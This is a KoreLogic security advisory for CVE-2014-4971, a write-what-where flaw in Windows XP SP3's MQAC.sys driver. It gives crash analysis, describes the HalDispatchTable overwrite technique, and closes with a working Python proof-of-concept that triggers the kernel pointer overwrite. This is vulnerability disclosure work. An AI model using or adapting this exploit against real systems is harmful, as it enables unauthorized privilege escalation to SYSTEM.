Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation

Vulnerability Description

A vulnerability within the MQAC module allows an attacker to inject memory they control into an arbitrary location they define. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile.

Technical Description

A userland process can create a handle into the MQAC device and subsequently make DeviceIoControlFile() calls into that device. During the IRP handler routine for 0x1965020f the user provided OutputBuffer address is not validated. This allows an attacker to specify an arbitrary address and write (or overwrite) the memory residing at the specified address. This is classically known as a write-what-where vulnerability and has well known exploitation methods associated with it.

A stack trace from our fuzzing can be seen below. In our fuzzing testcase, the specified OutputBuffer in the DeviceIoControlFile() call is 0xffff0000.

STACK_TEXT:
b1c4594c 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1c459ac 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1c459ac b230af37 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1c45a68 b230c0a1 ffff0000 000000d3 0000000c mqac!AC2QM+0x5d
b1c45ab4 804ee129 81ebb558 82377e48 806d32d0 mqac!ACDeviceControl+0x16d
b1c45ac4 80574e56 82377eb8 82240510 82377e48 nt!IopfCallDriver+0x31
b1c45ad8 80575d11 81ebb558 82377e48 82240510 nt!IopSynchronousServiceTail+0x70
b1c45b80 8056e57c 000006a4 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1c45bb4 b1aea17e 000006a4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a

Reviewing the FOLLOWUP_IP value from the WinDBG !analyze -v command shows the fault originating in the mqac driver.

FOLLOWUP_IP:
mqac!AC2QM+5d
b230af37 891e            mov     dword ptr [esi],ebx

Reviewing the TRAP_FRAME at the time of crash we can see IopCompleteRequest() copying data from InputBuffer into the OutputBuffer. InputBuffer is another parameter provided to the DeviceIoControlFile() function and is therefore controllable by the attacker. The edi register contains the invalid address provided during the fuzz testcase.

TRAP_FRAME:  b1c459c4 -- (.trap 0xffffffffb1c459c4)
ErrCode = 00000002
eax=b1c45a58 ebx=00000000 ecx=ffff0000 edx=82377e48 esi=ffff0000 edi=00000000
eip=b230af37 esp=b1c45a38 ebp=b1c45a68 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010246
mqac!AC2QM+0x5d:
b230af37 891e            mov     dword ptr [esi],ebx  ds:0023:ffff0000=????????

A write-what-where vulnerability can be leveraged to obtain escalated privileges. To do so, an attacker will need to allocate memory in userland that is populated with shellcode designed to find the Token for PID 4 (System) and then overwrite the token for its own process. By leveraging the vulnerability in MQAC it is then possible to overwrite the pointer at HalDispatchTable+0x4 with a pointer to our shellcode. Calling NtQueryIntervalProfile() will subsequently call HalDispatchTable+0x4, execute our shellcode, and elevate the privilege of the exploit process.

Mitigation and Remediation Recommendation

None. A patch is not likely to be forthcoming from the vendor.

Credit

This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.

Proof of Concept

#!/usr/bin/python2
#
# KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write Privilege Escalation
# Matt Bergin (KoreLogic / Smash the Stack)
# CVE-2014-4971
#
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

handle = CreateFileA("\\\\.\\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\MQAC @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\x50\x00\x00\x00"+"\x90"*0x400
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))
#Overwrite Pointer
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0)
print "[+] HalDispatchTable+0x4 overwritten"
CloseHandle(handle)
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))
exit(0)

The contents of this advisory are copyright(c) 2014 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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